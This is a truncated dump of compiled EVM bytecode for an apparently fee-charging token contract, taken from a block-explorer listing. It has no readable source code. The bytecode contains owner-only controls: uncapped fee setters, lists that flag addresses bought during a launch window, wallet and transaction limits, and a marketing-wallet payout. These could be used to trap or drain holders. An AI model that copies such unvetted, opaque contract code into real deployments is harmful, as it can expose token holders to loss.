2508101906200054c91906200096c565b601f80546001600160a01b039283166001600160a01b031991821617909155601e8054848416921682179055601a54306000818152600660209081526040808320958352948152848220939093559081526009909152818120805460ff19908116600190811790925593861682529181208054909316821790925590600a90620005de6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055601f5482168152600a90935281832080548516600190811790915530845282842080548616821790557f20677881080440a9b3c87e826370bb5d9c2f74efd4dede686d52d77a6a09f8bb8054861682179055908616835290822080549093168117909255600b90620006866000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b84528281208054861660019081179091558783168083528483208054881683179055601f549093168252600c8552838220805490961617909455601a5481855260058452828520819055915191825292917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050505050505062000baa565b3390565b600080620007588385620009ef565b905083811015620007b05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064015b60405180910390fd5b90505b92915050565b600082620007ca57506000620007b3565b6000620007d8838562000b35565b905082620007e7858362000a0a565b14620007b05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401620007a7565b6000620007b083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506200088a60201b60201c565b60008183620008ae5760405162461bcd60e51b8152600401620007a7919062000997565b506000620008bd848662000a0a565b95945050505050565b828054620008d49062000b57565b90600052602060002090601f016020900481019282620008f8576000855562000943565b82601f106200091357805160ff191683800117855562000943565b8280016001018555821562000943579182015b828111156200094357825182559160200191906001019062000926565b506200095192915062000955565b5090565b5b8082111562000951576000815560010162000956565b6000602082840312156200097f57600080fd5b81516001600160a01b0381168114620007b057600080fd5b600060208083528351808285015260005b81811015620009c657858101830151858201604001528201620009a8565b81811115620009d9576000604083870101525b50601f01601f1916929092016040019392505050565b6000821982111562000a055762000a0562000b94565b500190565b60008262000a2857634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111562000a6e57816000190482111562000a525762000a5262000b94565b8085161562000a6057918102915b93841c939080029062000a32565b509250929050565b6000620007b060ff84168360008262000a9257506001620007b3565b8162000aa157506000620007b3565b816001811462000aba576002811462000ac55762000ae5565b6001915050620007b3565b60ff84111562000ad95762000ad962000b94565b50506001821b620007b3565b5060208310610133831016604e8410600b841016171562000b0a575081810a620007b3565b62000b16838362000a2d565b806000190482111562000b2d5762000b2d62000b94565b029392505050565b600081600019048311821515161562000b525762000b5262000b94565b500290565b600181811c9082168062000b6c57607f821691505b6020821081141562000b8e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60805160601c612a2b62000bd0600039600081816105460152610e800152612a2b6000f3fe6080604052600436106103e85760003560e01c806387712e8c11610208578063b0be159a11610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610ba6578063ea7a6eb114610bec578063f0cd1dac14610c0c578063f2fde38b14610c22578063f61ffad614610c4257600080fd5b8063cab0347114610b43578063d00efb2f14610b59578063d9419b7314610b6f578063dc44b6a014610b9057600080fd5b8063c49b9a80116100e7578063c49b9a8014610ad7578063c5d2418914610af7578063c816841b14610b0d578063c860795214610b2d57600080fd5b8063b0be159a14610a61578063b49ece6314610a81578063c2d4640e14610aa1578063c469b6dd14610ac157600080fd5b8063a073d37f1161019b578063a7c257b21161016a578063a7c257b2146109bb578063a83f53a7146109db578063a8e15150146109f1578063a9059cbb14610a21578063a911928c14610a4157600080fd5b8063a073d37f14610950578063a08e671f14610965578063a2a17cda1461097b578063a457c2d71461099b57600080fd5b8063914eb66a116101d7578063914eb66a146108fb578063918d56881461091057806395d89b4114610925578063962dc50a1461093a57600080fd5b806387712e8c1461088757806388790a68146108a75780638c2fc7ad146108bd5780638da5cb5b146108dd57600080fd5b80633e4e172811610303578063614d19b81161029657806370a082311161026557806370a08231146107c25780637a62ba03146107f8578063827312471461081857806382eefb4314610851578063844d591c1461086757600080fd5b8063614d19b81461074b57806361a23c691461076c578063632e544214610782578063689b30c3146107a257600080fd5b806350b20cac116102d257806350b20cac146106c55780635785b651146106e557806357a5802f146107155780635ac419e11461072b57600080fd5b80633e4e17281461061f5780633ecad2711461064457806340aa81fe146106745780634a74bb02146106a457600080fd5b806323b872dd1161037b578063313ce5671161034a578063313ce5671461059d57806339509351146105bf5780633b97084a146105df5780633e07387c146105ff57600080fd5b806323b872dd1461051457806327c8f835146105345780632af38605146105685780632b112e491461058857600080fd5b80631694505e116103b75780631694505e1461048557806318160ddd146104bd5780631afb1a9e146104d2578063200618df146104f457600080fd5b806303675260146103f457806306fdde031461041d578063095ea7b31461043f5780630c70a9921461046f57600080fd5b366103ef57005b600080fd5b34801561040057600080fd5b5061040a60085481565b6040519081526020015b60405180910390f35b34801561042957600080fd5b50610432610c62565b60405161041491906127ba565b34801561044b57600080fd5b5061045f61045a3660046125fa565b610cf4565b6040519015158152602001610414565b34801561047b57600080fd5b5061040a601b5481565b34801561049157600080fd5b50601e546104a5906001600160a01b031681565b6040516001600160a01b039091168152602001610414565b3480156104c957600080fd5b50601a5461040a565b3480156104de57600080fd5b506104f26104ed3660046125c5565b610d0b565b005b34801561050057600080fd5b506104f261050f36600461271c565b610d69565b34801561052057600080fd5b5061045f61052f366004612584565b610dbe565b34801561054057600080fd5b506104a57f000000000000000000000000000000000000000000000000000000000000000081565b34801561057457600080fd5b506104f26105833660046125c5565b610e29565b34801561059457600080fd5b5061040a610e7e565b3480156105a957600080fd5b5060035460405160ff9091168152602001610414565b3480156105cb57600080fd5b5061045f6105da3660046125fa565b610ec8565b3480156105eb57600080fd5b506104f26105fa3660046126e1565b610efe565b34801561060b57600080fd5b506104f261061a3660046126c6565b610f2d565b34801561062b57600080fd5b506003546104a59061010090046001600160a01b031681565b34801561065057600080fd5b5061045f61065f366004612511565b600c6020526000908152604090205460ff1681565b34801561068057600080fd5b5061045f61068f366004612511565b600a6020526000908152604090205460ff1681565b3480156106b057600080fd5b50601f5461045f90600160a81b900460ff1681565b3480156106d157600080fd5b506104f26106e0366004612626565b610f75565b3480156106f157600080fd5b5061045f610700366004612511565b600b6020526000908152604090205460ff1681565b34801561072157600080fd5b5061040a60145481565b34801561073757600080fd5b506104f261074636600461271c565b611021565b34801561075757600080fd5b50601f5461045f90600160b81b900460ff1681565b34801561077857600080fd5b5061040a60155481565b34801561078e57600080fd5b506104f261079d36600461267a565b611070565b3480156107ae57600080fd5b506104f26107bd366004612511565b611129565b3480156107ce57600080fd5b5061040a6107dd366004612511565b6001600160a01b031660009081526005602052604090205490565b34801561080457600080fd5b506104f26108133660046126e1565b61117b565b34801561082457600080fd5b5061045f610833366004612511565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561085d57600080fd5b5061040a60185481565b34801561087357600080fd5b506104f26108823660046125c5565b6111ae565b34801561089357600080fd5b506104f26108a23660046126e1565b611203565b3480156108b357600080fd5b5061040a60115481565b3480156108c957600080fd5b506104f26108d83660046125c5565b611232565b3480156108e957600080fd5b506000546001600160a01b03166104a5565b34801561090757600080fd5b506104f2611287565b34801561091c57600080fd5b506104f2611301565b34801561093157600080fd5b50610432611332565b34801561094657600080fd5b5061040a601c5481565b34801561095c57600080fd5b50601d5461040a565b34801561097157600080fd5b5061040a60195481565b34801561098757600080fd5b506104f26109963660046125c5565b611341565b3480156109a757600080fd5b5061045f6109b63660046125fa565b611396565b3480156109c757600080fd5b506104f26109d63660046126e1565b6113e5565b3480156109e757600080fd5b5061040a60165481565b3480156109fd57600080fd5b5061045f610a0c366004612511565b60096020526000908152604090205460ff1681565b348015610a2d57600080fd5b5061045f610a3c3660046125fa565b611414565b348015610a4d57600080fd5b5061045f610a5c3660046126fa565b101590565b348015610a6d57600080fd5b506104f2610a7c366004612626565b611421565b348015610a8d57600080fd5b506104f2610a9c3660046126c6565b6114c7565b348015610aad57600080fd5b506104f2610abc36600461271c565b61150f565b348015610acd57600080fd5b5061040a60105481565b348015610ae357600080fd5b506104f2610af23660046126c6565b61155e565b348015610b0357600080fd5b5061040a600f5481565b348015610b1957600080fd5b50601f546104a5906001600160a01b031681565b348015610b3957600080fd5b5061040a60125481565b348015610b4f57600080fd5b5061040a60135481565b348015610b6557600080fd5b5061040a60075481565b348015610b7b57600080fd5b50601f5461045f90600160b01b900460ff1681565b348015610b9c57600080fd5b5061040a600e5481565b348015610bb257600080fd5b5061040a610bc136600461254b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b348015610bf857600080fd5b506004546104a5906001600160a01b031681565b348015610c1857600080fd5b5061040a60175481565b348015610c2e57600080fd5b506104f2610c3d366004612511565b6115e0565b348015610c4e57600080fd5b506104f2610c5d366004612511565b6116ca565b606060018054610c7190612911565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d90612911565b8015610cea5780601f10610cbf57610100808354040283529160200191610cea565b820191906000526020600020905b815481529060010190602001808311610ccd57829003601f168201915b5050505050905090565b6000610d01338484611836565b5060015b92915050565b6000546001600160a01b03163314610d3e5760405162461bcd60e51b8152600401610d359061280f565b60405180910390fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610d935760405162461bcd60e51b8152600401610d359061280f565b601183905560128290556013819055610db681610db08585611716565b90611716565b601855505050565b6000610dcb84848461195a565b50610e1e8433610e19856040518060600160405280602881526020016129a9602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611d53565b611836565b5060015b9392505050565b6000546001600160a01b03163314610e535760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316600090815260056020526040812054601a54610ec391611d8d565b905090565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610d01918590610e199086611716565b6000546001600160a01b03163314610f285760405162461bcd60e51b8152600401610d359061280f565b601d55565b6000546001600160a01b03163314610f575760405162461bcd60e51b8152600401610d359061280f565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610f9f5760405162461bcd60e51b8152600401610d359061280f565b60c98210610fac57600080fd5b60005b8281101561101b578160096000868685818110610fce57610fce61297d565b9050602002016020810190610fe39190612511565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556110148161294c565b9050610faf565b50505050565b6000546001600160a01b0316331461104b5760405162461bcd60e51b8152600401610d359061280f565b600e839055600f829055601081905561106881610db08585611716565b601755505050565b6000546001600160a01b0316331461109a5760405162461bcd60e51b8152600401610d359061280f565b6107d182106110a857600080fd5b60006110b483836128db565b336000908152600560205260409020549091508111156110d357600080fd5b60005b838110156111225761110f338686848181106110f4576110f461297d565b90506020020160208101906111099190612511565b85611dcf565b508061111a8161294c565b9150506110d6565b5050505050565b6000546001600160a01b031633146111535760405162461bcd60e51b8152600401610d359061280f565b600380546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000546001600160a01b031633146111a55760405162461bcd60e51b8152600401610d359061280f565b60085543600755565b6000546001600160a01b031633146111d85760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461122d5760405162461bcd60e51b8152600401610d359061280f565b601b55565b6000546001600160a01b0316331461125c5760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146112b15760405162461bcd60e51b8152600401610d359061280f565b6000805460405161dead926001600160a01b03909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b03191661dead179055565b6000546001600160a01b0316331461132b5760405162461bcd60e51b8152600401610d359061280f565b6000600755565b606060028054610c7190612911565b6000546001600160a01b0316331461136b5760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b6000610d013384610e19856040518060600160405280602581526020016129d1602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611d53565b6000546001600160a01b0316331461140f5760405162461bcd60e51b8152600401610d359061280f565b601c55565b6000610e1e33848461195a565b6000546001600160a01b0316331461144b5760405162461bcd60e51b8152600401610d359061280f565b60c9821061145857600080fd5b60005b8281101561101b5781600d600086868581811061147a5761147a61297d565b905060200201602081019061148f9190612511565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556114c08161294c565b905061145b565b6000546001600160a01b031633146114f15760405162461bcd60e51b8152600401610d359061280f565b601f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146115395760405162461bcd60e51b8152600401610d359061280f565b60148390556015829055601681905561155681610db08585611716565b601955505050565b6000546001600160a01b031633146115885760405162461bcd60e51b8152600401610d359061280f565b601f8054821515600160a81b0260ff60a81b199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906115d590831515815260200190565b60405180910390a150565b6000546001600160a01b0316331461160a5760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03811661166f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d35565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146116f45760405162461bcd60e51b8152600401610d359061280f565b600480546001600160a01b0319166001600160a01b0392909216919091179055565b60008061172383856128a1565b905083811015610e225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610d35565b60008261178457506000610d05565b600061179083856128db565b90508261179d85836128b9565b14610e225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610d35565b6000610e2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611eb5565b6001600160a01b0383166118985760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d35565b6001600160a01b0382166118f95760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d35565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b0384166119c05760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610d35565b6001600160a01b038316611a225760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610d35565b601f54600160a01b900460ff1615611a4657611a3f848484611dcf565b9050610e22565b6001600160a01b0384166000908152600b602052604090205460ff16158015611a8857506001600160a01b0383166000908152600b602052604090205460ff16155b15611aa257611a9982601b54101590565b611aa257600080fd5b30600090815260056020526040902054601d5481108015908190611ad05750601f54600160a01b900460ff16155b8015611af557506001600160a01b0386166000908152600c602052604090205460ff16155b8015611b0a5750601f54600160a81b900460ff165b15611b3057601f54600160b01b900460ff1615611b2757601d5491505b611b3082611ee3565b611b3a868661201e565b15611bab576040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038916600090815260059091529190912054611b91918690611d53565b6001600160a01b0387166000908152600560205260409020555b6001600160a01b03861660009081526009602052604081205460ff1680611bea57506001600160a01b03861660009081526009602052604090205460ff165b15611bf6575083611c5a565b600060075411611c0557600080fd5b611c1943600854600754610a5c91906128a1565b8015611c3e57506001600160a01b0386166000908152600c602052604090205460ff16155b15611c4c57611c4c86612056565b611c578787876120c4565b90505b601f54600160b81b900460ff168015611c8c57506001600160a01b0386166000908152600a602052604090205460ff16155b15611cc857611cbf611cb782610db0896001600160a01b031660009081526005602052604090205490565b601c54101590565b611cc857600080fd5b6001600160a01b038616600090815260056020526040902054611ceb9082611716565b6001600160a01b0380881660008181526005602052604090819020939093559151908916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611d3f9085815260200190565b60405180910390a360019350505050610e22565b60008184841115611d775760405162461bcd60e51b8152600401610d3591906127ba565b506000611d8484866128fa565b95945050505050565b6000610e2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d53565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600590915291822054611e20918490611d53565b6001600160a01b038086166000908152600560205260408082209390935590851681522054611e4f9083611716565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611ea39086815260200190565b60405180910390a35060019392505050565b60008183611ed65760405162461bcd60e51b8152600401610d3591906127ba565b506000611d8484866128b9565b601f805460ff60a01b1916600160a01b179055601954601454600091611f1991600291611f139182908790611775565b906117f4565b90506000611f278383611d8d565b9050611f3281612213565b6014544790600090611f5290611f499060026117f4565b60195490611d8d565b90506000611f746002611f1384611f136014548861177590919063ffffffff16565b90506000611f9183611f136016548761177590919063ffffffff16565b90506000611fa982611fa38786611d8d565b90611d8d565b90508015611fcc57600354611fcc9061010090046001600160a01b0316826123b5565b8115611fe857600454611fe8906001600160a01b0316836123b5565b600083118015611ff85750600087115b156120075761200787846123f0565b5050601f805460ff60a01b19169055505050505050565b6000816001600160a01b0316836001600160a01b0316141580610e2257506004546001600160a01b0384811691161415905092915050565b6001600160a01b0381166000908152600d602052604090205460ff1615801561209857506001600160a01b0381166000908152600c602052604090205460ff16155b156120c1576001600160a01b0381166000908152600d60205260409020805460ff191660011790555b50565b6001600160a01b0383166000908152600c6020526040812054819060ff1615612108576121016064611f136017548661177590919063ffffffff16565b9050612146565b6001600160a01b0384166000908152600c602052604090205460ff1615612146576121436064611f136018548661177590919063ffffffff16565b90505b6001600160a01b0385166000908152600d602052604090205460ff16801561218757506001600160a01b0385166000908152600c602052604090205460ff16155b1561218f5750815b801561220957306000908152600560205260409020546121af9082611716565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906122009085815260200190565b60405180910390a35b611d848382611d8d565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122485761224861297d565b6001600160a01b03928316602091820292909201810191909152601e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561229c57600080fd5b505afa1580156122b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122d4919061252e565b816001815181106122e7576122e761297d565b6001600160a01b039283166020918202929092010152601e5461230d9130911684611836565b601e5460405163791ac94760e01b81526001600160a01b039091169063791ac94790612346908590600090869030904290600401612865565b600060405180830381600087803b15801561236057600080fd5b505af1158015612374573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516123a9929190612844565b60405180910390a15050565b6040516001600160a01b0383169082156108fc029083906000818181858888f193505050501580156123eb573d6000803e3d6000fd5b505050565b601e546124089030906001600160a01b031684611836565b601e546004805460405163f305d71960e01b815230928101929092526024820185905260006044830181905260648301526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c4016060604051808303818588803b15801561247757600080fd5b505af115801561248b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111229190612748565b60008083601f8401126124c257600080fd5b50813567ffffffffffffffff8111156124da57600080fd5b6020830191508360208260051b85010111156124f557600080fd5b9250929050565b8035801515811461250c57600080fd5b919050565b60006020828403121561252357600080fd5b8135610e2281612993565b60006020828403121561254057600080fd5b8151610e2281612993565b6000806040838503121561255e57600080fd5b823561256981612993565b9150602083013561257981612993565b809150509250929050565b60008060006060848603121561259957600080fd5b83356125a481612993565b925060208401356125b481612993565b929592945050506040919091013590565b600080604083850312156125d857600080fd5b82356125e381612993565b91506125f1602084016124fc565b90509250929050565b6000806040838503121561260d57600080fd5b823561261881612993565b946020939093013593505050565b60008060006040848603121561263b57600080fd5b833567ffffffffffffffff81111561265257600080fd5b61265e868287016124b0565b90945092506126719050602085016124fc565b90509250925092565b60008060006040848603121561268f57600080fd5b833567ffffffffffffffff8111156126a657600080fd5b6126b2868287016124b0565b909790965060209590950135949350505050565b6000602082840312156126d857600080fd5b610e22826124fc565b6000602082840312156126f357600080fd5b5035919050565b6000806040838503121561270d57600080fd5b50508035926020909101359150565b60008060006060848603121561273157600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561275d57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156127af5781516001600160a01b03168752958201959082019060010161278a565b509495945050505050565b600060208083528351808285015260005b818110156127e7578581018301518582016040015282016127cb565b818111156127f9576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b82815260406020820152600061285d6040830184612776565b949350505050565b85815284602082015260a06040820152600061288460a0830186612776565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156128b4576128b4612967565b500190565b6000826128d657634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156128f5576128f5612967565b500290565b60008282101561290c5761290c612967565b500390565b600181811c9082168061292557607f821691505b6020821081141561294657634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561296057612960612967565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b03811681146120c157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212207232660b78e9dfed682d10fa3f547569864bf521912b9889a841b6d222062d9e64736f6c63430008070033
Deployed Bytecode
0x6080604052600436106103e85760003560e01c806387712e8c11610208578063b0be159a11610118578063cab03471116100ab578063dd62ed3e1161007a578063dd62ed3e14610ba6578063ea7a6eb114610bec578063f0cd1dac14610c0c578063f2fde38b14610c22578063f61ffad614610c4257600080fd5b8063cab0347114610b43578063d00efb2f14610b59578063d9419b7314610b6f578063dc44b6a014610b9057600080fd5b8063c49b9a80116100e7578063c49b9a8014610ad7578063c5d2418914610af7578063c816841b14610b0d578063c860795214610b2d57600080fd5b8063b0be159a14610a61578063b49ece6314610a81578063c2d4640e14610aa1578063c469b6dd14610ac157600080fd5b8063a073d37f1161019b578063a7c257b21161016a578063a7c257b2146109bb578063a83f53a7146109db578063a8e15150146109f1578063a9059cbb14610a21578063a911928c14610a4157600080fd5b8063a073d37f14610950578063a08e671f14610965578063a2a17cda1461097b578063a457c2d71461099b57600080fd5b8063914eb66a116101d7578063914eb66a146108fb578063918d56881461091057806395d89b4114610925578063962dc50a1461093a57600080fd5b806387712e8c1461088757806388790a68146108a75780638c2fc7ad146108bd5780638da5cb5b146108dd57600080fd5b80633e4e172811610303578063614d19b81161029657806370a082311161026557806370a08231146107c25780637a62ba03146107f8578063827312471461081857806382eefb4314610851578063844d591c1461086757600080fd5b8063614d19b81461074b57806361a23c691461076c578063632e544214610782578063689b30c3146107a257600080fd5b806350b20cac116102d257806350b20cac146106c55780635785b651146106e557806357a5802f146107155780635ac419e11461072b57600080fd5b80633e4e17281461061f5780633ecad2711461064457806340aa81fe146106745780634a74bb02146106a457600080fd5b806323b872dd1161037b578063313ce5671161034a578063313ce5671461059d57806339509351146105bf5780633b97084a146105df5780633e07387c146105ff57600080fd5b806323b872dd1461051457806327c8f835146105345780632af38605146105685780632b112e491461058857600080fd5b80631694505e116103b75780631694505e1461048557806318160ddd146104bd5780631afb1a9e146104d2578063200618df146104f457600080fd5b806303675260146103f457806306fdde031461041d578063095ea7b31461043f5780630c70a9921461046f57600080fd5b366103ef57005b600080fd5b34801561040057600080fd5b5061040a60085481565b6040519081526020015b60405180910390f35b34801561042957600080fd5b50610432610c62565b60405161041491906127ba565b34801561044b57600080fd5b5061045f61045a3660046125fa565b610cf4565b6040519015158152602001610414565b34801561047b57600080fd5b5061040a601b5481565b34801561049157600080fd5b50601e546104a5906001600160a01b031681565b6040516001600160a01b039091168152602001610414565b3480156104c957600080fd5b50601a5461040a565b3480156104de57600080fd5b506104f26104ed3660046125c5565b610d0b565b005b34801561050057600080fd5b506104f261050f36600461271c565b610d69565b34801561052057600080fd5b5061045f61052f366004612584565b610dbe565b34801561054057600080fd5b506104a57f000000000000000000000000000000000000000000000000000000000000dead81565b34801561057457600080fd5b506104f26105833660046125c5565b610e29565b34801561059457600080fd5b5061040a610e7e565b3480156105a957600080fd5b5060035460405160ff9091168152602001610414565b3480156105cb57600080fd5b5061045f6105da3660046125fa565b610ec8565b3480156105eb57600080fd5b506104f26105fa3660046126e1565b610efe565b34801561060b57600080fd5b506104f261061a3660046126c6565b610f2d565b34801561062b57600080fd5b506003546104a59061010090046001600160a01b031681565b34801561065057600080fd5b5061045f61065f366004612511565b600c6020526000908152604090205460ff1681565b34801561068057600080fd5b5061045f61068f366004612511565b600a6020526000908152604090205460ff1681565b3480156106b057600080fd5b50601f5461045f90600160a81b900460ff1681565b3480156106d157600080fd5b506104f26106e0366004612626565b610f75565b3480156106f157600080fd5b5061045f610700366004612511565b600b6020526000908152604090205460ff1681565b34801561072157600080fd5b5061040a60145481565b34801561073757600080fd5b506104f261074636600461271c565b611021565b34801561075757600080fd5b50601f5461045f90600160b81b900460ff1681565b34801561077857600080fd5b5061040a60155481565b34801561078e57600080fd5b506104f261079d36600461267a565b611070565b3480156107ae57600080fd5b506104f26107bd366004612511565b611129565b3480156107ce57600080fd5b5061040a6107dd366004612511565b6001600160a01b031660009081526005602052604090205490565b34801561080457600080fd5b506104f26108133660046126e1565b61117b565b34801561082457600080fd5b5061045f610833366004612511565b6001600160a01b03166000908152600d602052604090205460ff1690565b34801561085d57600080fd5b5061040a60185481565b34801561087357600080fd5b506104f26108823660046125c5565b6111ae565b34801561089357600080fd5b506104f26108a23660046126e1565b611203565b3480156108b357600080fd5b5061040a60115481565b3480156108c957600080fd5b506104f26108d83660046125c5565b611232565b3480156108e957600080fd5b506000546001600160a01b03166104a5565b34801561090757600080fd5b506104f2611287565b34801561091c57600080fd5b506104f2611301565b34801561093157600080fd5b50610432611332565b34801561094657600080fd5b5061040a601c5481565b34801561095c57600080fd5b50601d5461040a565b34801561097157600080fd5b5061040a60195481565b34801561098757600080fd5b506104f26109963660046125c5565b611341565b3480156109a757600080fd5b5061045f6109b63660046125fa565b611396565b3480156109c757600080fd5b506104f26109d63660046126e1565b6113e5565b3480156109e757600080fd5b5061040a60165481565b3480156109fd57600080fd5b5061045f610a0c366004612511565b60096020526000908152604090205460ff1681565b348015610a2d57600080fd5b5061045f610a3c3660046125fa565b611414565b348015610a4d57600080fd5b5061045f610a5c3660046126fa565b101590565b348015610a6d57600080fd5b506104f2610a7c366004612626565b611421565b348015610a8d57600080fd5b506104f2610a9c3660046126c6565b6114c7565b348015610aad57600080fd5b506104f2610abc36600461271c565b61150f565b348015610acd57600080fd5b5061040a60105481565b348015610ae357600080fd5b506104f2610af23660046126c6565b61155e565b348015610b0357600080fd5b5061040a600f5481565b348015610b1957600080fd5b50601f546104a5906001600160a01b031681565b348015610b3957600080fd5b5061040a60125481565b348015610b4f57600080fd5b5061040a60135481565b348015610b6557600080fd5b5061040a60075481565b348015610b7b57600080fd5b50601f5461045f90600160b01b900460ff1681565b348015610b9c57600080fd5b5061040a600e5481565b348015610bb257600080fd5b5061040a610bc136600461254b565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b348015610bf857600080fd5b506004546104a5906001600160a01b031681565b348015610c1857600080fd5b5061040a60175481565b348015610c2e57600080fd5b506104f2610c3d366004612511565b6115e0565b348015610c4e57600080fd5b506104f2610c5d366004612511565b6116ca565b606060018054610c7190612911565b80601f0160208091040260200160405190810160405280929190818152602001828054610c9d90612911565b8015610cea5780601f10610cbf57610100808354040283529160200191610cea565b820191906000526020600020905b815481529060010190602001808311610ccd57829003601f168201915b5050505050905090565b6000610d01338484611836565b5060015b92915050565b6000546001600160a01b03163314610d3e5760405162461bcd60e51b8152600401610d359061280f565b60405180910390fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610d935760405162461bcd60e51b8152600401610d359061280f565b601183905560128290556013819055610db681610db08585611716565b90611716565b601855505050565b6000610dcb84848461195a565b50610e1e8433610e19856040518060600160405280602881526020016129a9602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611d53565b611836565b5060015b9392505050565b6000546001600160a01b03163314610e535760405162461bcd60e51b8152600401610d359061280f565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b7f000000000000000000000000000000000000000000000000000000000000dead6001600160a01b0316600090815260056020526040812054601a54610ec391611d8d565b905090565b3360008181526006602090815260408083206001600160a01b03871684529091528120549091610d01918590610e199086611716565b6000546001600160a01b03163314610f285760405162461bcd60e51b8152600401610d359061280f565b601d55565b6000546001600160a01b03163314610f575760405162461bcd60e51b8152600401610d359061280f565b601f8054911515600160b01b0260ff60b01b19909216919091179055565b6000546001600160a01b03163314610f9f5760405162461bcd60e51b8152600401610d359061280f565b60c98210610fac57600080fd5b60005b8281101561101b578160096000868685818110610fce57610fce61297d565b9050602002016020810190610fe39190612511565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556110148161294c565b9050610faf565b50505050565b6000546001600160a01b0316331461104b5760405162461bcd60e51b8152600401610d359061280f565b600e839055600f829055601081905561106881610db08585611716565b601755505050565b6000546001600160a01b0316331461109a5760405162461b